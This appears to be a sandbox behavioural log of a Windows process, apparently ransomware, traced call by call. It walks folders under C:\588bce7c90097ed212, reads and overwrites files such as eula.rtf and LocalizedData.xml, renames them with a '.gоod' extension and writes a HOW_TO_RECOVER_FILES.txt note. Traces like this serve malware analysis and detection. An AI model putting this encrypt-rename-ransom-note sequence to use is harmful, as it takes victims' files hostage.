SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0104.208] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.gоod")) returned 1 [0104.324] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0104.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0104.324] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x32a2d18 | out: lpFileInformation=0x32a2d18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62)) returned 1 [0104.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0104.324] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0104.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0104.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.324] GetFileType (hFile=0x20c) returned 0x1 [0104.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0104.324] GetFileType (hFile=0x20c) returned 0x1 [0104.324] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0104.325] ReadFile (in: hFile=0x20c, lpBuffer=0x32a30e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x32a30e0*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0104.327] CloseHandle (hObject=0x20c) returned 1 [0104.327] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0104.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0104.327] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.328] GetFileType (hFile=0x20c) returned 0x1 [0104.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0104.328] GetFileType (hFile=0x20c) returned 0x1 [0104.328] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x13b62 [0104.328] WriteFile (in: hFile=0x20c, lpBuffer=0x32a4350*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x32a4350*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0104.330] CloseHandle (hObject=0x20c) returned 1 [0104.330] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0104.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0104.330] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.330] GetFileType (hFile=0x20c) returned 0x1 [0104.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0104.330] GetFileType (hFile=0x20c) returned 0x1 [0104.330] ReadFile (in: hFile=0x20c, lpBuffer=0x32a65e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x32a65e8*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0104.358] CloseHandle (hObject=0x20c) returned 1 [0104.358] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0104.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0104.359] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.359] GetFileType (hFile=0x20c) returned 0x1 [0104.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0104.359] GetFileType (hFile=0x20c) returned 0x1 [0104.359] WriteFile (in: hFile=0x20c, lpBuffer=0x32a5368*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x32a5368*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0104.359] CloseHandle (hObject=0x20c) returned 1 [0104.359] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0104.359] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0104.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0104.359] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3a6b499b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13b72)) returned 1 [0104.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0104.359] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.gоod")) returned 1 [0104.360] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0104.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0104.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0104.361] GetFileType (hFile=0x20c) returned 0x1 [0104.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0104.361] GetFileType (hFile=0x20c) returned 0x1 [0104.361] WriteFile (in: hFile=0x20c, lpBuffer=0x3324eb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x3324eb8*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0104.362] CloseHandle (hObject=0x20c) returned 1 [0104.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0104.363] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049", lpFilePart=0x0) returned 0x1a [0104.363] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.363] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.363] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0104.363] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0104.363] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0104.363] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.364] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0104.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0104.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0104.364] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049", lpFilePart=0x0) returned 0x1a [0104.364] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.364] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.364] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0104.364] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0104.365] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0104.365] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0104.365] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0104.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0104.365] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\eula.rtf", lpFilePart=0x0) returned 0x23 [0104.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0104.365] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x3334140 | out: lpFileInformation=0x3334140*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8)) returned 1 [0105.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0105.264] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\eula.rtf", lpFilePart=0x0) returned 0x23 [0105.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0105.264] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.264] GetFileType (hFile=0x7c8) returned 0x1 [0105.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0105.264] GetFileType (hFile=0x7c8) returned 0x1 [0105.264] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0105.264] ReadFile (in: hFile=0x7c8, lpBuffer=0x3369518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3369518*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0105.265] CloseHandle (hObject=0x7c8) returned 1 [0105.266] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\eula.rtf", lpFilePart=0x0) returned 0x23 [0105.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0105.266] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.266] GetFileType (hFile=0x7c8) returned 0x1 [0105.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0105.266] GetFileType (hFile=0x7c8) returned 0x1 [0105.266] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0xd4b8 [0105.266] WriteFile (in: hFile=0x7c8, lpBuffer=0x336a790*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x336a790*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0105.267] CloseHandle (hObject=0x7c8) returned 1 [0105.267] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\eula.rtf", lpFilePart=0x0) returned 0x23 [0105.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0105.267] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.267] GetFileType (hFile=0x7c8) returned 0x1 [0105.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0105.267] GetFileType (hFile=0x7c8) returned 0x1 [0105.267] ReadFile (in: hFile=0x7c8, lpBuffer=0x336ca00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x336ca00*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0105.295] CloseHandle (hObject=0x7c8) returned 1 [0105.295] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\eula.rtf", lpFilePart=0x0) returned 0x23 [0105.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0105.295] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.295] GetFileType (hFile=0x7c8) returned 0x1 [0105.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0105.295] GetFileType (hFile=0x7c8) returned 0x1 [0105.296] WriteFile (in: hFile=0x7c8, lpBuffer=0x336b7a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x336b7a8*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0105.296] CloseHandle (hObject=0x7c8) returned 1 [0105.296] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\eula.rtf", lpFilePart=0x0) returned 0x23 [0105.296] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0105.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0105.296] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3afa53b8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd4c8)) returned 1 [0105.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0105.296] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.gоod")) returned 1 [0105.718] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0105.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0105.718] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x38360f8 | out: lpFileInformation=0x38360f8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a)) returned 1 [0105.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0105.718] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0105.718] 